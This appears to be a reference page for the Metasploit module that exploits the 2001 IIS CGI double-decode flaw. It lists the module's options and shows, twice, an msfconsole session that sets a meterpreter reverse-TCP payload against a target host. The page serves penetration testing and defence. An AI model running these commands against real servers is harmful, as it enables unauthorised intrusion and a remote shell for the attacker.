Microsoft IIS/PWS CGI Filename Double Decode Command Execution
This module will execute an arbitrary payload on a Microsoft IIS installation that is vulnerable to the CGI double-decode vulnerability of 2001. NOTE: This module will leave a metasploit payload in the IIS scripts directory.
Exploit Rank
- Excellent
Exploit Authors
- jduck < jduck [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Automatic (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/iis/iis_webdav_upload_asp
- exploit/windows/iis/ms01_023_printer
- exploit/windows/iis/ms01_033_idq
- exploit/windows/iis/ms02_018_htr
- exploit/windows/iis/ms03_007_ntdll_webdav
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/iis/ms01_026_dbldecode
msf exploit(ms01_026_dbldecode) > show payloads
msf exploit(ms01_026_dbldecode) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms01_026_dbldecode) > set LHOST [MY IP ADDRESS]
msf exploit(ms01_026_dbldecode) > set RHOST [TARGET IP]
msf exploit(ms01_026_dbldecode) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/iis/ms01_026_dbldecode
msf exploit(ms01_026_dbldecode) > show payloads
msf exploit(ms01_026_dbldecode) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms01_026_dbldecode) > set LHOST [MY IP ADDRESS]
msf exploit(ms01_026_dbldecode) > set RHOST [TARGET IP]
msf exploit(ms01_026_dbldecode) > exploit
Exploit Module Options
| CMD | Execute this command instead of using command stager |
| RHOST | The target address |
| RPORT | The target port (default: 80) |
| WINDIR | The windows directory of the target host |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EXE::Custom | Use custom exe instead of automatically generating a payload exe |
| EXE::FallBack | Use the default template in case the specified one is missing |
| EXE::Inject | Set to preserve the original EXE function |
| EXE::OldMethod | Set to use the substitution EXE generation method. |
| EXE::Path | The directory in which to look for the executable template |
| EXE::Template | The executable template file name. |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| TFTPHOST | The address of the machine hosting the file via TFTP. |
| TFTPRSRC | The filename of the TFTP-hosted resource. |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
